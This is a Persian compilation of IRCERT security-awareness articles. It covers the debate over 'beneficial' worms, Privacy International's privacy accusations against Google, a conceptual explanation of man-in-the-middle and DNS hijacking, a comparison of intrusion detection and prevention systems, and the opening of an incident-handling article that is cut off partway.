این برنامه با مقاصد بدخواهانه نوشته نشده بود و برای جلوگیری از فعالیت هکرهای مزاحم ایجاد گشته بود. اما بهرحال یک «کرم» بود. چرا که یک شبکه را می‌پیمایید و هرجا که میرفت خود را کپی ‌می‌کرد.

زمانیکه بحث کرم پنیر مطرح شد، بعضی متخصصان امنیت شبکه‌های کامپیوتری احساس کردند که ممکن است راهی برای مبارزه با شکافهای امنیتی و هکرهای آسیب‌رسان پیدا شده باشد. یکی از بزرگترین علتهای وجود رخنه‌های امنیتی و حملات در اینترنت غفلت یا تنبلی بسیاری از مدیران سیستمهاست. بسیاری از مردم سیستمهای خود را با شکافهای امنیتی به امان خدا! رها می‌کنند و تعداد کمی زحمت نصب وصله‌های موجود را می‌دهند.

بسیاری از مدیران شبکه‌ها از ورود برنامه‌ها و بارگذاری وصله‌ها ابراز نارضایتی می‌کنند. این نکته‌ای صحیح است که یک وصله ممکن است با برنامه‌های موجود در کامپیوتر ناسازگار باشد. اما در مورد یک کرم مفید که وجود شکافهای امنیتی در سیستمها را اعلام می‌کند، چه؟ این روش مشکل مدیرانی را که نمی‌توانند تمام شکافهای امنیتی را ردیابی کنند، حل می‌کند. بعضی می‌گویند که برنامه‌های ناخواسته را روی سیستم خود نمی‌خواهند. در پاسخ به آنها گفته می‌شود «اگر شکاف امنیتی در سیستم شما وجود نداشت که این برنامه‌ها نمی‌توانستند وارد شوند. یک برنامه را که سعی می‌کند به شما کمک کند، ترجیح می‌دهید یا آنهایی را که به سیستم شما آسیب می‌رسانند و ممکن است از سیستم شما برای حمله به سایرین استفاده کنند؟ »

این آخری، یک نکته مهم است. رخنه‌های امنیتی کامپیوتر شما فقط مشکل شما نیستند؛ بلکه ممکن است برای سایر شبکه‌ها نیز مساله‌ساز شوند. ممکن است فردی نخواهد علیه بیماریهای مسری واکسینه شود، اما بهرحال بخشی از جامعه‌ای است که در آن همزیستی وجود دارد.

آنچه که در این میان آزاردهنده است این است که هرساله برای امنیت اتفاقات بدی رخ میدهد، و هرچند تلاشهایی برای بهبود زیرساختهای امنیتی انجام می‌گیرد، اما برای هر گام به جلو، دو گام باید به عقب بازگشت. چرا که هکرها باهوش‌تر و در نتیجه تهدیدها خطرناکتر شده‌اند. و شاید بدلیل تنبلی یا بار کاری زیاد مدیران شبکه باشد.

در بیشتر موارد، مشکلات بزرگ امنیتی که هر روزه درباره آنها می‌خوانید، بخاطر وجود حملاتی است که برروی سیستمهایی صورت می‌گیرد که به علت عدم اعمال وصله‌ها، هنوز مشکلات قدیمی را درخود دارند.


﻿ IRCERT - کرمهای اینترنتی مفید (۲) - مقالات

کرمهای اینترنتی مفید (۲)

بنابه عقیده بعضی، اکنون زمان استفاده از تدبیر براساس کرم! و ساختن کرمهای مفید برای ترمیم مشکلات است. درباره این روش قبلا در مجامع مربوط به امنیت بحث شده است و البته هنوز اعتراضات محکمی علیه استفاده از آنها وجود دارد. اما در مواجهه با شبکه های zombie (کامپیوترهای آلوده ای که برای حملات DoS گسترده، مورد استفاده قرار می گیرند) که تعداد آنها به دههاهزار کامپیوتر میرسد، می توانند یک شبه! توسط کرمهای مفید از کار انداخته شوند.

البته، یک کرم مفید هنوز یک کرم است و بحث دیگری که در اینجا مطرح می شود این است که کرمها ذاتا غیرقابل کنترل هستند، به این معنی که کرمهای مفید هم باعث بروز مشکلات ترافیک می شوند و بصورت غیرقابل کنترلی گسترده می گردند. این مساله در مورد بیشتر کرمها صدق می کند، اما دلیل آن این است که تاکنون هیچ کس یک کرم قانونی! و بدرستی برنامه نویسی شده ایجاد نکرده است. می توان براحتی کنترلهای ساده ای همچون انقضاء در زمان مناسب و مدیریت پهنای باند را که این تاثیرات ناخوشایند را محدود یا حذف کند، برای یک کرم مفید تصور کرد.

اشکال وارده به ایجاد یک کرم قانونی و مناسب این است که زمان زیادی می طلبد، بسیار بیشتر از زمانی که یک کرم گسترش پیدا می کند. در پاسخ می توان گفت بیشتر کرمها از مسائل تازه کشف شده بهره نمی برند. بیشتر آنها از شکافهای امنیتی استفاده می کنند که مدتهاست شناخته شده اند.

تعدادی پرسش وجود دارد که باید پاسخ داده شوند. چه کسی این کرمها را طراحی و مدیریت می کند؟ دولت، CERT، فروشندگان یا اینکه باید تشکل هایی براه انداخت؟ برای ترمیم چه ایراداتی باید مورد استفاده قرار گیرند؟ روند اخطار برای سیستمهایی که توسط یک کرم مفید وصله شده اند، چیست؟ آیا پیامی برای مدیر شبکه بگذارد؟ که البته هیچ کدام موانع غیرقابل حلی نیستند.

بهرحال، بهترین کار مدیریت صحیح سیستمهایتان است، بنحوی که با آخرین ابزار و وصله های امنیتی بروز شده باشند. در این صورت دیگر چندان نگران وجود کرمها در سیستمهایتان نخواهید بود.

آنچه که نمی توان در مورد آن با اطمنیان صحبت کرد، امن و موثر بودن یک کرم مفید است، که این مطلب مطالعات و تحقیقات جدی را می طلبد. بعلاوه اینکه، اگر برنامه نوشته شده در دنیای بیرون متفاوت از آزمایشگاه رفتار کند، چه کسی مسوولیت آنرا می پذیرد؟ مساله بعدی اینست که تحت قانون جزایی بعضی کشورها، هک کردن یک سیستم و تغییر دیتای آن بدون اجازه زیان محسوب می شود و چنانچه این زیان به حد مشخصی مثلا ۵هزار دلار برسد، تبهکاری بحساب می آید، حتی اگر قانون جنایی حمایتی برای نویسندگان کرمهای مفید درنظر بگیرد. ایده اصلی در این بین، اجازه و اختیار برای دستیابی به کامپیوتر و تغییر دیتای آن یا انجام عملیاتی بر روی آن است. از منظر قانونی، این اجازه می تواند از طرقی اعطاء شود. بعلاوه اینکه سیستمهایی که امنیت در آنها رعایت نشود، اساسا به هر کس اجازه تغییر دیتا را می دهند.

خوشبختانه، روشهای محدودی برای اخذ اجازه وجود دارد. برای مثال، ISPها از پیش بواسطه شرایط خدمات رسانی به مشتریانشان اجازه تغییر دیتا را دارند. یک ISP معتبر ممکن است حتی سرویس بروز رسانی رایگان یک برنامه ضدویروس را نیز به مشتریانش ارائه کند.

راه دیگر اخذ اجازه از طریق پروانه های دولتی است. مثلا در بعضی کشورها، افسران پلیس این قدرت را دارند که بتوانند تحت قوانین محدود و شرایط خاصی وارد فضای خصوصی افراد شوند. مثال دیگر در مورد سارس است. افراد می توانند بخاطر سلامت عمومی قرنطینه شوند، اما فقط توسط افرادی که اختیارات دولتی دارند.

در آخر توجه شما را به یک مساله جلب می کنیم: اجرای قوانین سلامت بیشتر بصورت محلی است، در حالیکه اینترنت ماهیت دیگری دارد. ممکن است بتوان در بعضی کشورها به سوالات مربوط در مورد نوشتن و گسترش کرمهای مفید جواب داد، اما کاربران کشورهای دیگر را شامل نمی شود.


﻿ IRCERT - گوگل و حفظ حریم خصوصی کاربران - مقالات

گوگل و حفظ حریم خصوصی کاربران

از زمانی که [1]PI گوگل را به عنوان نامزد دریافت جایزه «برادر بزرگ» در سال ۲۰۰۳ میلادی معرفی کرد، بحث‌های زیادی بین مخالفان و موافقان گوگل درگرفته است. PI‌ که سازمانی مستقل و غیر دولتی است در زمینه حفظ حریم خصوصی فعال است و هر ساله جایزه‌ای را به فعالترین افراد یا موسساتی که در زمینه نقض حریم خصوصی تلاش می‌کنند، اعطا می‌کند. برادر بزرگ عنوانی است که از نام رمان ۱۹۸۴ برگرفته شده است. در این رمان جورج ارول جهان را در سال ۱۹۸۴ به تصویر می‌کشد و برادران بزرگ را به عنوان ناظر اعمال مردم معرفی می‌کند.

لوگوی گوگل

با وجودی که جایزه برادر بزرگ در سال ۲۰۰۳ به گوگل نرسید، اما بحث در مورد خدمات گوگل و اهدافی که این شرکت از ارائه این خدمات دنبال می‌کند، همچنان ادامه دارد. کار به جایی رسیده است که بعضی از منتقدین گوگل، سرویس‌های امنیتی را پشت این شرکت می‌دانند و معتقدند گوگل از حمایت‌‌های مادی و معنوی این سرویس‌ها بهره‌مند است.

نمایی از جایزه برادر بزرگ

موتور جستجوی گوگل که در سال ۱۹۹۸ تاسیس شد، اندک اندک جای خود را در بین سایر رقبای قدر باز کرد. استفاده از الگوریتم‌های جدیدی که دقت جستجو را تا حد زیادی بالا می‌برد باعث شد تا گوگل کفه بازار موتورهای جستجو را به نفع خود سنگین کند. توانایی خارق‌العاده گوگل در جستجوی وب و ایجاد فهرستی از محتوای سایت‌های مختلف، زمان کوتاه جستجو و سرعت بالای ارسال نتایج از نکات قوت گوگل است. در حال حاضر بیش از ۷۵ درصد ورودی به بسیاری از سایت‌ها از طریق گوگل است.

سیستم آگهی منحصر به فرد گوگل در موفقیت روز افزون و کسب درآمدهای چند صدمیلیون دلاری در سال نقش به سزایی داشته است. برخلاف روش‌های سنتی تبلیغ که بدون توجه به نیازهای کاربر، به یکباره صفحات تبلیغاتی در برابر کاربر ظاهر می‌شوند(بعضا این روش‌ها می‌توانند ضد تبلیغ هم باشند)، در این روش، تبلیغات کاملا متناسب با نیازهای مخاطب انجام می‌شود. به عنوان مثال وقتی کاربر در سایت گوگل اقدام به جستجو در مورد «رباتیک» می‌کند، تبلیغ میزبانی وب در برابرش ظاهر نمی‌شود. در قسمت سمت راست صفحه کادری برای تبلیغ در نظر گرفته شده است که سایت‌هایی متناسب با کلمات کلیدی جستجو به صورت متنی و مجزا از نتایج جستجو به کاربر معرفی می‌شوند.

همزمان با بزرگ‌تر شدن گوگل و گسترش حوزه‌های فعالیت آن، نقد صاحب نظران و مدافعان حوزه خصوصی افزایش یافت. در راس منتقدان گوگل سازمان‌هایی مانند PI‌ قرار دارند که اتهامات سنگینی را متوجه گوگل نموده‌اند.

اتهاماتی که PI‌ به گوگل وارد کرده مبتنی بر ۹ ماده به شرح زیر است:

۱- کوکی‌های گوگل مادام‌العمر هستند:

تاریخ انقضای کوکی‌های گوگل سال ۲۰۳۸ است. این کوکی‌ها یک کد شناسایی یکتا بر روی دیسک‌سخت قرار می‌دهند. با هر بار مراجعه به سایت گوگل، یک کوکی بر روی دستگاه قرار می‌گیرد. در صورتی که از قبل کوکی موجود باشد، متن آن خوانده شده و کد یکتای آن ارسال می‌شود.

۲- گوگل همه چیز را ذخیره می‌کند:

گوگل در رابطه با هر جستجو اطلاعاتی شامل کد کوکی، آدرس IP‌، زمان و تاریخ، عبارات جستجو و پیکربندی مرورگر را ذخیره می‌نماید. به این ترتیب این امکان وجود دارد که گوگل نتایج جستجو را با توجه به شماره IP‌ شخصی‌سازی کند.

۳- گوگل به صورت نامحدود داده‌های کاربران را ذخیره می‌کند:

شواهدی در دست است که نشان می‌دهد گوگل قادر است همه اطلاعات کاربران را که جمع‌آوری و ذخیره می‌کند، مورد استفاده قرار دهد.

۴- گوگل تاکنون مشخص نکرده است که به چه دلیل به این داده‌ها نیاز دارد:

پرسش‌هایی که تاکنون در مورد حفظ حریم شخصی از گوگل شده است تا کنون بی پاسخ مانده‌اند.

۵- گوگل نیروهای امنیتی را به استخدام خود در آورده است:

گوگل در صدد استخدام نیروهای با سابقه خدمت در سازمان‌های امنیتی است. به عنوان مثال یکی از مهندسین کلیدی گوگل با نام Matt Cutts قبلا در استخدام آژانس امنیت ملی (NSA) بوده است.

۶- نوارابزار گوگل جاسوسی می کند:

بنابه مفاد سیاست‌‌های حریم شخصی(Privacy Policy) گوگل، نوارابزار مجانی گوگل با وجود قابلیت‌های فراوانی که دارد، گزارش همه صفحاتی را که در مرورگر بازدید می‌شوند، ارسال می‌کند. علاوه بر این کوکی‌های موجود بر روی سیستم را نیز می‌خواند. بدتر از این، فرایند به‌روز رسانی نوار ابزار است که به صورت خودکار و بدون اخذ مجوز انجام می‌شود. بیشتر تولیدکنندگان نرم‌افزار برای انجام این کار نظر کاربر را جویا می‌شوند. در این صورت در دستگاه‌هایی که نوارابزار گوگل نسب شده است، دسترسی همیشگی به محتوای دیسک سخت در هر بار ارتباط با گوگل که در طول روز معمولا چندین بار اتفاق می‌افتد وجود دارد.

۷- ذخیره سازی نسخه cache غیر قانونی است:

به نظر می‌رسد که نگهداری یک نسخه از محتوای سایت‌ها توسط گوگل مطابق قوانین کپی رایت غیرقانونی است. در صورتی که مدیر یک سایت مایل به تغییر محتوای سایت خود باشد (به هر دلیلی از جمله وجود محتوای نادرست و اشتباه بر روی سایت) نسخه‌ قدیمی نزد گوگل نگه‌داری می‌شود.

۸- گوگل با کاربران خود برخورد دوستانه‌ای ندارد:

در حال حاضر ۷۵ درصد از مراجعات به بیشتر وب سایت‌ها توسط گوگل هدایت می‌شوند. با توجه به اینکه مدیران سایت‌ها مایل به افزایش ترافیک سایت خود هستند، لذا نمی‌توانند نسبت به قابلیت‌های گوگل در این زمینه بی‌توجه باشند. از سوی دیگر در صورتی که مدیران سایت‌ها بخواهند از ضعف‌های موجود در الگوریتم‌های نیمه محرمانه گوگل بهره‌برداری کنند، توسط گوگل مجازات می‌شوند و ترافیک موجود بر روی سایت‌شان به ناگهان از بین می‌رود. تاکنون هیچ استانداردی توسط گوگل در زمینه روش جستجو و امتیاز دهی سایت‌ها منتشر نشده است. علاوه بر این هیچ فرایند استینافی هم برای سایت‌های مجازات شده پیش‌بینی نشده است. گوگل کاملا غیر پاسخگو است.

۹- گوگل بمب ساعتی از بین برنده حریم خصوصی است:

با وجود حدود ۲۰۰ میلیون جستجو در روز توسط گوگل، که بیشتر آنها از خارج از آمریکا انجام می‌شود، گوگل به سمت بوجود آوردن یک فاجعه نقض حریم خصوصی‌ پیش می‌رود.

لوگوی GMail

از سوی دیگر موافقان گوگل تلاش زیادی را برای تبرئه این شرکت در برابر اتهامات وارده انجام داده‌اند. نمونه‌ای از دفاعیات انجام شده را می‌توان در اینجا دید.

واقعیت این است که علی‌رغم همه تلاش‌های انجام شده برای تبرئه گوگل، پاسخ بسیاری از سوالات هنوز مبهم است. استدلال‌های ارائه شده‌ عموما با این رویکرد هستند که کاربران می‌توانند به گوگل اجازه بعضی از فعالیت‌های مشکوک را ندهند (مانند قرار دادن کوکی بر روی دستگاه)، شناخت کاربران به صورت دقیق امکان‌پذیر نیست و یا اینکه مراکز دیگری نیز چنین فعالیت‌هایی انجام می‌دهند و بنابراین اتهامی به گوگل وارد نیست. هرچند این استدلال‌ها درست است ولی نمی‌تواند تبرئه کننده کامل گوگل از اتهامات وارده باشد. در چارچوب استدلال‌های مدافعان گوگل، کاربران عادی اینترنت که تخصص زیادی ندارند (و درصد قابل توجهی از کاربران اینترنت را تشکیل می‌دهند) همچنان در معرض خطر هستند.

با دیدی خوش‌بینانه می‌توان از اشکالاتی که به استدلال‌های موافقین گوگل وارد است چشم‌پوشی کرد، ولی توسعه فعالیت‌های گوگل در حوزه‌های جدیدی مانند وبلاگ، ارائه mail‌ مجانی با حجم بالا و همچنین شبکه اجتماعی Orkut سوالات جدیدی را به ذهن متبادر می‌کند.

بخشی از صفحه اصلی Orkut

گوگل ادعا می‌کند با استفاده از کوکی‌هایی که بر روی دستگاه‌ها قرار می‌دهد قادر به شناسایی اشخاص نیست. کوکی‌های گوگل تا سال ۲۰۳۸ معتبر هستند و در این بازه زمانی، شاخص همه جستجو‌های کاربران هستند. ترکیب این کوکی‌ها با کوکی‌های Orkut‌ امکان شناسایی دقیق افراد را برای گوگل فراهم می‌آورد. علاوه بر این Gmail‌ این تصویر را با نگه‌داری سابقه‌ای طولانی از تبادلات الکترونیکی افراد شفاف‌تر می کند. همه پیام‌های ارسالی و دریافتی به هر فرد در یک مکان علامت‌گذاری، ذخیره و مرتب می‌شوند. در کنار این پیام‌ها مقصد و مبدا آنها هم نگه‌داری می‌شود که برای تحلیل ترافیک مورد استفاده قرار می‌گیرند. جستجوهای انجام شده بر روی وب و شبکه اجتماعی (Orkut) و همچنین خرید‌ها هم در کنار این اطلاعات ذخیره می‌شوند. این اطلاعات به سادگی می‌تواند در اختیار مقامات مجری قانون ‌و یا شرکت‌های تجاری قرار گیرند.

در کنار نکات فوق جالب است به بندهایی از سیاست حریم شخصی Gmail‌ توجه شود که اذعان دارد نامه‌های کاربران پس از حذف شدن و حتی پس از قطع اشتراک کاربر (برای بازه زمانی نامشخصی) توسط گوگل نگه‌داری می‌شود.

شاید نتوان در حال حاضر در مورد گوگل و فعالیت‌هایش به صورت قطعی اظهار نظر کرد. اتهاماتی به این شرکت وارد شده و افراد زیادی در سراسر دنیا به فعالیت‌های گوگل اعتراض دارند و شواهد متعددی را ارائه می‌کنند. کلید حل معما در گذر زمان و انجام تحقیقات و مطالعات بیشتر است. تصمیم‌گیری در مورد استفاده از خدمات گوگل در این فاصله بر عهده اشخاص است و با توجه به نکاتی که ذکر شد اعمال پاره‌ای محدودیت‌ها خالی از فایده نیست.

[1]- Privacy International


﻿ IRCERT - ارتباط ربایی! - مقالات

ارتباط ربایی!

Hijacking در اصل بمعنای هواپیماربایی و یا سایر وسایط نقلیه بهمراه مسافران آن است. ولی اجازه دهید ما از واژه ارتباط ربایی استفاده کنیم. ارتباط ربایی نوعی از حمله به شبکه است که مهاجم کنترل ارتباز را در اختیار می گیرد – مانند یک هواپیماربا که کنترل پرواز را در اختیار می گیرد- نفوذگر بین دو موجود در شبکه قرار می گیرد و برای هرکدام از طرفین ارتباط خود را جای دیگری جامی زند!

ارتباط ربایی نوع اول

در نوعی از ارتباط ربایی (که بعنوان man in the middle نیز شناخته می شود)، مهاجم کنترل یک ارتباط برقرارشده را در حالیکه در حال انجام است، در اختیار می گیرد. نفوذگر پیام ها را در هنگام تبادل «کلید عمومی» دریافت می کند و آنها را با جایگزین کردن کلیدعمومی خودش، برای طرف درخواست کننده مجدداً ارسال می کند، بطوریکه دو طرف اولیه هنوز بنظر در حال ارتباط مستقیم هستند. نفوذگر از برنامه ای استفاده می کند که برای کلاینت بنظر سرور بیاید و برای سرور بنظر کلاینت. این نوع حمله ممکن است فقط برای دستیابی به پیام ها بکار رود یا توسط آن حمله گر در پیام ها تغییر ایجاد کند و سپس آنها را ارسال کند.

با مطالعه دو مقاله رمزنگاری و کلیدها در رمزنگاری می توانید بیشتر با این مفاهیم آشنا شوید. ولی اگر وقت ویا حوصله خواندن این دو مقاله را ندارید، برای اینکه از خواندن ادامه این مقاله منصرف نشوید، در اینجا بطور مختصر به آنها و روش ذکر شده اشاره می کنیم!

برای اینکه بتوان امنیت را در تبادل پیام ها برقرار کرد، از رمزنگاری استفاده می شود. به این ترتیب که فرستنده متن اولیه پیام را رمز می کند و گیرنده آنرا رمزگشایی می کند، تا به متن اصلی پیام پی ببرد. متن رمزشده بخودی خود قابل فهم نیست، مگر اینکه بتوان آنرا رمزگشایی کرد. برای رمزکردن متن از الگوریتم رمزنگاری بهمراه کلید رمزنگاری استفاده می شود. چنانچه کلید مورد استفاده برای رمزکردن و رمزگشایی پیام یکی باشد، رمزنگاری یا کلید، متقارن نامیده می شود. چون دو طرف ارتباط باید از یک کلید استفاده کنند، بنابراین باید این کلید مبادله شود، که خود این عمل از امنیت ارتباط می کاهد. بهمین منظور از الگوریتم های نامتقارن رمزنگاری استفاده می شود. در این الگوریتمهای نامتقارن، کلید رمزکردن و رمزگشایی، یکی نیستند و در عین حال با دانستن یکی از آنها، نمی توان دیگری را بدست آورد. بنابراین یک جفت کلید وجود دارد که یکی کلید اختصاصی و دیگری کلید عمومی است. هر شخص برای ارتباط با دیگران، آنها را تنها از کلید عمومی خویش مطلع می سازد. برای ارسال پیام به این شخص، متن پیام با استفاده از کلید عمومی این فرد رمز می شود به وی فرستاده می شود و وی پس از دریافت، متن را با کلید اختصاصی خودش رمزگشایی می کند. فرض کنید A و B می خواهند یک ارتباط امن داشته باشند. A به B کلید عمومی خودش را اعلام می کند و از B کلید عمومی وی را درخواست می کند. B کلید عمومی A را دریافت می کند و کلید عمومی خودش را برای A ارسال می کند. چنانچه A بخواهد برای B پیامی بفرستد، ابتدا آن را با کلیدعمومی B رمز می کند و برای B ارسال می کند. B متن رمزشده را دریافت می کند و با استفاده از کلید اختصاصی خودش رمزگشایی می کند. چنانچه متن رمز شده به X برسد، نمی تواند از محتوای آن مطلع شود، زیر از کلید اختصاصی B اطلاعی ندارد.

حال ببینیم همین X چگونه می تواند مرتکب ارتباط ربایی شود! X در نقطه ای بین A و B قرار می گیرد. A برای ارسال پیام به B ابتدا یک درخواست به سمت B می فرستد و کلید عمومی B را درخواست می کند، غافل از اینکه این در خواست به X می رسد. X این درخواست را به B می فرستد در حالیکه وانمود می کند خودش A است. B با دیدن این درخواست کلید عمومی خود را به درخواست کننده، به گمان اینکه A است می فرستد. X کلید عمومی B را دریافت می کند، اما کلید عمومی خودش را برای A می فرستد و A گمان می کند که این کلید عمومی B است. حال A پیام خود را با ظاهراً کلید عمومی B ولی در واقع کلید عمومی X رمز می کند و به ظاهراً B ولی در واقع X می فرستند. X این پیام را دریافت می کند و با کلید اختصاصی خودش رمزگشایی می کند، از محتوای آن مطلع می شود یا در آن تغییر ایجاد می کند و متن حاصل را با کلید عمومی B که در اختیار دارد، رمز می کند و برای B ارسال می کند. در حالیکه B گمان می کند پیام دریافت شده، از طرف A ارسال شده است. برای ارسال پیام امن از B به A، مراحل فوق بالعکس انجام می گیرد. به این ترتیب X بین A و B قرار می گیرد و از محتوای پیام های آنها مطلع می شود و آن ها را دستکاری می کند، بدون اینکه A و B متوجه غیرمستقیم بودن ارتباط شوند.

ارتباط ربایی نوع دوم

نوع دیگر ارتباط ربایی، «مرورگر ربایی» (Browser hijacking) است که در آن یک کاربر به سایت متفاوتی با آنچه خودش درخواست کرده بود، هدایت می شود.

دو نوع مختلف از DNS ربایی وجود دارد. در یکی، نفوذگر به رکوردهای DNS دسترسی پیدا می کند و آنها را طوری دستکاری می کند که درخواستها برای صفحه واقعی به جایی دیگر هدایت شوند – معمولاً به یک صفحه جعلی که خود نفوذگر ایجاد کرده است. این اتفاق به بیننده این احساس را می دهد که وب سایت هک شده است، در حالیکه در حقیقت سرور DNS تغییر پیدا کرده است. در فوریه سال ۲۰۰۰ یک نفوذگر وب سایت امنیتی RSA را با دسترسی به رکوردهای DNS ربود!!! و تقاضاها را به یک وب سایت جعلی هدایت کرد. برای کاربران اینطور بنظر می رسید که یک نفوذگر به دیتای واقعی وب سایت RSA دسترسی پیدا کرده و آنها را تغییر داده است – یک مشکل جدی برای تشکیلات امنیتی! !! مشکل بتوان از این نوع از ارتباط ربایی جلوگیری کرد، زیرا مدیران شبکه، تنها رکوردهای DNS خود را کنترل می کنند و کنترلی روی سرورهای DNS بالایی ندارند.

در نوع دوم ربایش DNS، نفوذگر حساب های معتبر ایمیل را جعل می کند و توسط آنها باکس های دیگر را مورد حجم انبوهی از ایمیل قرار می دهد. این نوع حمله می تواند توسط روش های تایید هویت جلوگیری شود.

در نوع دیگری از وب سایت ربایی، فرد به آسانی یک نام دامنه را که به اندازه کافی شبیه نام دامنه یک سایت معروف و قانونی است، ثبت می کند و کاربرانی که نام سایت اصلی را اشتباه می کنند یا در تایپ آن دچار اشتباه می شوند، به این سایت هدایت می شوند. از این نوع حمله در حال حاضر برای ارسال سایت های مستهجن بجای سایت هایی که کاربران ناآگاه درخواست کرده اند، استفاده می شود.


﻿ IRCERT - مقایسه تشخیص نفوذ و پیش گیری از نفوذ - مقالات

مقایسه تشخیص نفوذ و پیش گیری از نفوذ

ایده پیش گیری از نفوذ (Intrusion Prevention) این است که تمام حملات علیه هر بخش از محیط محافظت شده توسط روش های به کار گرفته شده ناکام بماند. این روش ها می توانند تمام بسته های شبکه را بگیرند و نیت آنها را مشخص کنند ـ آیا هرکدام یک حمله هستند یا یک استفاده قانونی ـ سپس عمل مناسب را انجام دهند. {گروه امداد امنیت کامپیوتری ایران}

تفاوت شکلی تشخیص با پیش گیری

در ظاهر، روش های تشخیص نفوذ و پیش گیری از نفوذ رقیب هستند. به هرحال، آنها لیست بلندبالایی از عملکردهای مشابه، مانند بررسی بسته داده، تحلیل با توجه به حفظ وضعیت، گردآوری بخش های TCP، ارزیابی پروتکل و تطبیق امضاء دارند. اما این قابلیت ها به عنوان ابزاری برای رسیدن به اهداف متفاوت در این دو روش به کار گرفته می شوند. یک IPS (Intrusion Prevention System) یا سیستم پیش گیری مانند یک محافظ امنیتی در مدخل یک اجتماع اختصاصی عمل می کند که بر پایه بعضی گواهی ها و قوانین یا سیاست های از پیش تعیین شده اجازه عبور می دهد. یک IDS (Intrusion Detection System) یا سیستم تشخیص مانند یک اتومبیل گشت زنی در میان اجتماع عمل می کند که فعالیت ها را به نمایش می گذارد و دنبال موقعیت های غیرعادی می گردد. بدون توجه به قدرت امنیت در مدخل، گشت زن ها به کار خود در سیستم ادامه می دهند و بررسی های خود را انجام می دهند.

تشخیص نفوذ

هدف از تشخیص نفوذ نمایش، بررسی و ارائه گزارش از فعالیت شبکه است. این سیستم روی بسته های داده که از ابزار کنترل دسترسی عبور کرده اند، عمل می کند. به دلیل وجود محدودیت های اطمینان پذیری، تهدیدهای داخلی و وجود شک و تردید مورد نیاز، پیش گیری از نفوذ باید به بعضی از موارد مشکوک به حمله اجازه عبور دهد تا احتمال تشخیص های غلط (false positive) کاهش یابد. از طرف دیگر، روش های IDS با هوشمندی همراه هستند و از تکنیک های مختلفی برای تشخیص حملات بالقوه، نفوذها و سوء استفاده ها بهره می گیرند. یک IDS معمولاً به گونه ای از پهنای باند استفاده می کند که می تواند بدون تأثیر گذاشتن روی معماری های محاسباتی و شبکه ای به کار خود ادامه دهد.

طبیعت منفعل IDS آن چیزی است که قدرت هدایت تحلیل هوشمند جریان بسته ها را ایجاد می کند. همین امر IDS را در جایگاه خوبی برای تشخیص موارد زیر قرار می دهد:

v حملات شناخته شده از طریق امضاءها و قوانین

v تغییرات در حجم و جهت ترافیک با استفاده از قوانین پیچیده و تحلیل آماری

v تغییرات الگوی ترافیک ارتباطی با استفاده از تحلیل جریان

v تشخیص فعالیت غیرعادی با استفاده از تحلیل انحراف معیار

v تشخیص فعالیت مشکوک با استفاده از تکنیک های آماری، تحلیل جریان و تشخیص خلاف قاعده

بعضی حملات تا درجه ای از یقین بسختی قابل تشخیص هستند، و بیشتر آنها فقط می توانند توسط روش هایی که دارای طبیعت غیرقطعی هستند تشخیص داده شوند. یعنی این روش ها برای تصمیم گیری مسدودسازی براساس سیاست مناسب نیستند.

پیش گیری از نفوذ

چنانچه قبلاً هم ذکر شد، روش های پیش گیری از نفوذ به منظور محافظت از دارایی ها، منابع، داده و شبکه ها استفاده می شوند. انتظار اصلی از آنها این است که خطر حمله را با حذف ترافیک مضر شبکه کاهش دهند در حالیکه به فعالیت صحیح اجازه ادامه کار می دهند. هدف نهایی یک سیستم کامل است- یعنی نه تشخیص غلط حمله (false positive) که از بازدهی شبکه می کاهد و نه عدم تشخیص حمله (false negative) که باعث ریسک بی مورد در محیط شبکه شود. شاید یک نقش اساسی تر نیاز به مطمئن بودن است؛ یعنی فعالیت به روش مورد انتظار تحت هر شرایطی. بمنظور حصول این منظور، روش های IPS باید طبیعت قطعی (deterministic) داشته باشند.

قابلیت های قطعی، اطمینان مورد نیاز برای تصمیم گیری های سخت را ایجاد می کند. به این معنی که روش های پیش گیری از نفوذ برای سروکار داشتن با موارد زیر ایده آل هستند:

v برنامه های ناخواسته و حملات اسب تروای فعال علیه شبکه ها و برنامه های اختصاصی، با استفاده از قوانین قطعی و لیست های کنترل دسترسی

v بسته های دیتای متعلق به حمله با استفاده از فیلترهای بسته داده ای سرعت بالا

v سوءاستفاده از پروتکل و دستکاری پروتکل شبکه با استفاده از بازسازی هوشمند

v حملات DoS/DDoS مانند طغیان SYN و ICMP با استفاده از الگوریتم های فیلترینگ برپایه حد آستانه

v سوءاستفاده از برنامه ها و دستکاری های پروتکل ـ حملات شناخته شده و شناخته نشده علیه HTTP، FTP، DNS، SMTP و غیره با استفاده از قوانین پروتکل برنامه ها و امضاءها

v باراضافی برنامه ها با استفاده از ایجاد محدودیت های مصرف منابع

تمام این حملات و وضعیت آسیب پذیری که به آنها اجازه وقوع می دهد به خوبی مستندسازی شده اند. بعلاوه، انحرافات از پروتکل های ارتباطی از لایه شبکه تا لایه برنامه جایگاهی در هیچ گونه ترافیک صحیح ندارند.

نتیجه نهایی

تفاوت بین IDS و IPS به فلسفه جبرگرایی می انجامد. یعنی IDS می تواند (و باید) از روش های غیرقطعی برای استنباط هرنوع تهدید یا تهدید بالقوه از ترافیک موجود استفاده کند. این شامل انجام تحلیل آماری از حجم ترافیک، الگوهای ترافیک و فعالیت های غیرعادی می شود. IDS به درد افرادی می خورد که واقعاً می خواهند بدانند چه چیزی در شبکه شان در حال رخ دادن است.

از طرف دیگر، IPS باید در تمام تصمیماتش برای انجام وظیفه اش در پالایش ترافیک قطعیت داشته باشد. از یک ابزار IPS انتظار می رود که در تمام مدت کار کند و در مورد کنترل دسترسی تصمیم گیری کند. فایروال ها اولین رویکرد قطعی را برای کنترل دسترسی در شبکه ها با ایجاد قابلیت اولیه IPS فراهم کردند. ابزارهای IPS قابلیت نسل بعد را به این فایروال ها اضافه کردند و هنوز در این فعالیت های قطعی در تصمیم گیری برای کنترل دسترسی ها مشارکت دارند.


﻿ IRCERT - مقالات - (Incident Handling)رویدادهای امنیتی و اقدامات لازم در برخورد با آنها

رویدادهای امنیتی و اقدامات لازم در برخورد با آنها (Incident Handling)

مقدمه

حتماً در مقوله های مرتبط با امنیت کامپیوتر و شبکه با عبارت Incident Handling مواجه شده اید. ابتدا ببینیم یک رویداد امنیتی ( (Security Incident چیست. هر سازمان باید رویداد امنیتی را برای تشکیلاتش کند. تعاریف زیر نمونه هایی از این دست هستند:

هر رویداد مضر مشخص یا مشکوکی که به امنیت سیستم ها یا شبکه های کامپیوتری مربوط باشد.

یا

عمل نقض کردن آشکار یا ضمنی سیاست امنیتی.

فعالیت هایی زیر مثال هایی از یک رویداد امنیتی هستند:

· تلاشهایی (چه موفق و چه ناموفق) برای حصول دسترسی غیرمجاز به یک سیستم یا دیتای آن

